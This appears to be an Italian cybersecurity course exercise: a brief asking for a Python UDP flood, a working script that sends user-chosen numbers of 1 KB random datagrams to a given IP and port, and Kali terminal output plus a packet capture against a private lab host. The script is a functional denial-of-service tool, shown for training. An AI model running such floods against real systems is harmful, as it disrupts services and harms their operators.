

Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'**invio** massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target
- Il programma deve richiedere l'inserimento della porta target
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento:** per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare

```
import random
import socket

def UDP_FLOOD():
    dati_da_inviare = random._urandom(1024)
    # while True:
    #     while True:
    #         for x in range(numero_pacchetti):
    #             s.sendto(dati_da_inviare, target)
    #             print( "#",x,"- UDP inviato\n")
    #         break
    #     break
    indirizzo_ip = str(input("inserisci l'indirizzo IP target:"))
    porta = int(input("inserisci la porta:"))
    numero_pacchetti = int(input("inserisci il numero di pacchetti da inviare:"))

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        target = (str(indirizzo_ip), int(porta))
        for x in range(numero_pacchetti):
            s.sendto(dati_da_inviare, target)
            print( "#",x,"- UDP inviato\n")
    except:
        s.close()
        print("[!] Error!!!")

UDP_FLOOD()
```

```

(giovanni@kali)-[~]
$ python udpflood.py
inserisci l'indirizzo IP target:192.168.32.101
inserisci la porta:1043
inserisci il numero di pacchetti da inviare:200
# 0 - UDP inviato
# 1 - UDP inviato
# 2 - UDP inviato
# 3 - UDP inviato
# 4 - UDP inviato
# 5 - UDP inviato
# 6 - UDP inviato
# 7 - UDP inviato
# 8 - UDP inviato
# 9 - UDP inviato
# 10 - UDP inviato
# 11 - UDP inviato
# 12 - UDP inviato
# 13 - UDP inviato
# 14 - UDP inviato
# 15 - UDP inviato
# 16 - UDP inviato
# 17 - UDP inviato
# 18 - UDP inviato
# 19 - UDP inviato

```

No.	Time	Source	Destination	Protocol	Length	Info
2	0.000220902	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
3	0.000323536	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
4	0.000479366	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
5	0.000577411	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
6	0.000725999	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
7	0.000878948	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
8	0.000984579	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
9	0.001137857	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
10	0.001670282	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
11	0.001777509	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
12	0.001945347	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
13	0.002072841	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
14	0.002175091	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
15	0.002497949	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
16	0.002699019	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
17	0.002753019	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
18	0.002853016	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
19	0.002985606	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024
20	0.003128609	192.168.32.100	192.168.32.101	UDP	1066	56092 - 1043 Len=1024